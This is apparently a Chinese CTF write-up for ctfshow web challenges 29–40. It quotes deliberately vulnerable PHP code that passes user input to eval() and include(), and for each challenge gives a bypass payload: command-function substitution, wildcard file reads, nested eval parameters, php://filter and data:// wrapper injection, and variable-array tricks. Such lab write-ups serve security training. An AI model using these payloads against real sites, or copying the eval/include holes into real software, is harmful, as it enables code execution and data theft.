ctfshow-web-29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
先?c=system("ls"); 查看目录。
flag被过滤了,用?占位符来进行读取,用tac打开fla?.php可以直接显示flag
ctfshow-web-30
php 执行命令函数
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
禁用了system, 不过可以用其他的命令执行函数exec(),passthru(),shell_exec()
payload:?c=passthru("tac fla*");
ctfshow-web-31
eval逃逸参数
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
多过滤了不少东西,但是没过滤eval,可以在传一个参数,传的参数就没过滤了。
playload:?c=eval($_GET[1]);&1=system("tac flag.php");
ctfshow-web-32--36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了;和( ,这题可以用include包含一个GET请求,请求内容是php://filter伪协议
?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
空格用%0a绕过,分号用?>绕过,把输出的结果base64解码即可得到正确答案
ctfshow-web-37
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
37题变成了GET传入参数,过滤之后再include包含,输出flag
include里不能解析php代码,所以没法直接传入其他参数,那就用data协议来完成
?c=data://text/plain,<?php system("tac fla*");?>
php文件包含漏洞CTF中文件包含漏洞总结_LetheSec的博客-CSDN博客
ctfshow-web-38
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这里把php过滤了,对于这道题目可以用<?= ?>代替<?php ?>。<?= ?>短标签会直接把php的结果输出
ctfshow-web-39
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
过滤了flag,后面还强制加上了.php,不过不影响,直接用data协议
?c=data://text/plain,<?php system('tac fla*')?>
ctfshow-web-40
用分号、字母、小括号从变量入手
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
看下代码发现没有过滤分号,字母,英文小括号也没过滤,这题试着从变量里拿flag
首先payload:?c=print_r(get_defined_vars());
get_defined_vars():返回由所有已定义变量所组成的数组 print_r():用于打印变量
传一个POST值 1=phpinfo(); 再用next ?c=print_r(next(get_defined_vars()));
使用array_pop()函数将他的值弹出打印,?c=print_r(array_pop(next(get_defined_vars())));
发现能拿到需要的结果,那就用eval执行?c=eval(array_pop(next(get_defined_vars())));
最后POST的值换成1=system("ls");就行了